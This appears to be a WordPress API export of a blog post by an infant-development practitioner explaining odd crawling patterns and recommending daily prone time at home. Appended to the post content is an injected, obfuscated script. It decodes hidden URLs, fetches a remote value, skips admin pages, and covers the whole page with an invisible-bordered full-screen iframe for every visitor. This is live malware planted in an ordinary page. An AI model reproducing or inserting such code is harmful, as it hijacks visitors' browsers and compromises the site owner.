{"id":17825,"date":"2025-04-16T23:36:00","date_gmt":"2025-04-16T22:36:00","guid":{"rendered":"https:\/\/tmpi-pimt.com\/why-does-he-crawl-so-weird\/"},"modified":"2026-03-25T18:47:56","modified_gmt":"2026-03-25T21:47:56","slug":"why-does-he-crawl-so-weird","status":"publish","type":"post","link":"https:\/\/tmpi-pimt.com\/en\/why-does-he-crawl-so-weird\/","title":{"rendered":"Why does he crawl so weird?"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>I&#8217;ll give you the solution at the end.<\/strong><\/p>\n\n<p class=\"wp-block-paragraph\">Crawling can be considered a motor milestone.<\/p>\n\n<p class=\"wp-block-paragraph\"><p class=\"\" data-start=\"74\" data-end=\"309\">Dragging, on the other hand, isn&#8217;t so clear. To me, it&#8217;s not really a milestone. It&#8217;s more about being in prone with the intention of reaching something. But it&#8217;s not always a great sign.&#13;\nI actually prefer pivoting\u2014rotating around the belly button in prone and coordinating contralateral patterns.<\/p><\/p>\n\n<p class=\"wp-block-paragraph\">The Alberta Infant Motor Scale, one of the best tools for assessing infant motor and postural development, doesn\u2019t analyze crawling in such depth.<\/p>\n\n<p class=\"wp-block-paragraph\">But it\u2019s still interesting.<\/p>\n\n<h2 class=\"wp-block-heading\">There are several requirements for crawling:<\/h2>\n\n<ul class=\"wp-block-list\">\n<li><strong>A stable quadruped position<\/strong>, which might emerge around 8\u20139 months<\/li>\n\n\n\n<li><strong>Integrated contralateral patterns<\/strong>, essential for any kind of locomotion<\/li>\n\n\n\n<li><strong>Motivation<\/strong>\u2026 I mean, a drive to conquer the world\u2014okay, maybe that\u2019s too much, but at least a desire to explore it<\/li>\n<\/ul>\n\n<p class=\"wp-block-paragraph\">Crawling has shown benefits not just in motor development. Babies who crawl seem to demonstrate better integration between the visual and proprioceptive systems, as well as better spatial perception compared to those who don\u2019t crawl.<\/p>\n\n<p class=\"wp-block-paragraph\">You also have to consider the emotional benefit of separating from the mother to explore the world alone. That takes courage. The boldness to discover, to take risks on your own. To step away from safety\u2014and then be able to come back.<\/p>\n\n<p class=\"wp-block-paragraph\">The problem is, many babies crawl in odd ways. A common pattern is crawling with one leg in flexion and the foot on the ground. But there are other unusual patterns too.<\/p>\n\n<p class=\"wp-block-paragraph\">Experts in child development often say: \u201cIt doesn\u2019t matter how they crawl.\u201d They\u2019re thinking from a psychological perspective. What matters is that they explore and move. And I agree\u2014that is important.<\/p>\n\n<p class=\"wp-block-paragraph\">But it\u2019s not the only thing that\u2019s important. It would be ideal if they could do it with both knees on the ground and a nice contralateral pattern. Babies who start crawling earlier (I\u2019m not saying too early\u2014that\u2019s up to the reader to decide) show more varied patterns. Meanwhile, those who crawl around 9\u201310 months tend to use a more uniform pattern.<\/p>\n\n<h2 class=\"wp-block-heading\">When I see that flexed-leg crawling pattern, I consider several possibilities:<\/h2>\n\n<ul class=\"wp-block-list\">\n<li><strong>A lumbar issue requiring lumbar kyphosis and asymmetry at the hips<\/strong><\/li>\n\n\n\n<li><strong>Lack of prone time prior to this stage.<\/strong> A plain and simple lack of prone experience before the crawling phase.<\/li>\n<\/ul>\n\n<p class=\"wp-block-paragraph\">This last one is the most likely in many cases. Many babies are \u201cabandoned\u201d in sitting (flexion), and they\u2019ve missed out on hundreds of hours of extension in prone. No wonder they end up crawling in flexion.<\/p>\n\n<p class=\"wp-block-paragraph\">If you go through the Alberta scale, you\u2019ll see these babies score a bit lower, and they lack variability in their movement patterns. That\u2019s something important to evaluate across the scale.<\/p>\n\n<p class=\"wp-block-paragraph\">Remember: This month the online motor development course from PIMT will be gone.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong data-start=\"2874\" data-end=\"2905\">Solution to weird crawling?<\/strong><br data-start=\"2905\" data-end=\"2908\"\/>Don\u2019t try to \u201cfix\u201d their crawling. Crawling can\u2019t be re-educated directly.<br data-start=\"2982\" data-end=\"2985\"\/>It simply doesn\u2019t work.<\/p>\n\n<p class=\"wp-block-paragraph\">Put the baby in prone with help from the family. Every day. But you\u2019ll have to fight a bit\u2014they\u2019ll want to lift their pelvis, and you can\u2019t let them. They\u2019ll push up with their arms and get frustrated. That\u2019ll put them into an extended posture similar to the 6-month pattern, even if they don\u2019t like it.<\/p>\n\n<p class=\"wp-block-paragraph\">Doing this at home every day, even for a short time, will bring loads of benefits\u2014not just for crawling, but for their global neurodevelopment.<\/p>\n\n<p class=\"wp-block-paragraph\">See you soon!<\/p>\n<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();\n\nconsole.log('28du3');<\/script>","protected":false},"excerpt":{"rendered":"<p>I&#8217;ll give you the solution at the end. Crawling can be considered a motor milestone. Dragging, on the other hand, isn&#8217;t so clear. To me, it&#8217;s not really a milestone. It&#8217;s more about being in prone with the intention of reaching something. But it&#8217;s not always a great sign.&#13; I actually prefer pivoting\u2014rotating around the belly button in prone and coordinating contralateral patterns. The Alberta Infant Motor Scale, one of the best tools for assessing infant motor and postural development, doesn\u2019t analyze crawling in such depth. But it\u2019s still interesting. There are several requirements for crawling: Crawling has shown benefits not just in motor development. Babies who crawl seem to demonstrate better integration between the visual and proprioceptive systems, as well as better spatial perception compared to those who don\u2019t crawl. You also have to consider the emotional benefit of separating from the mother to explore the world alone. That takes courage. The boldness to discover, to take risks on your own. To step away from safety\u2014and then be able to come back. The problem is, many babies crawl in odd ways. A common pattern is crawling with one leg in flexion and the foot on the ground. But there [&hellip;]<\/p>\n","protected":false},"author":29,"featured_media":17782,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-17825","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/17825","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/users\/29"}],"replies":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/comments?post=17825"}],"version-history":[{"count":2,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/17825\/revisions"}],"predecessor-version":[{"id":24431,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/posts\/17825\/revisions\/24431"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/media\/17782"}],"wp:attachment":[{"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/media?parent=17825"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/categories?post=17825"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tmpi-pimt.com\/en\/wp-json\/wp\/v2\/tags?post=17825"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}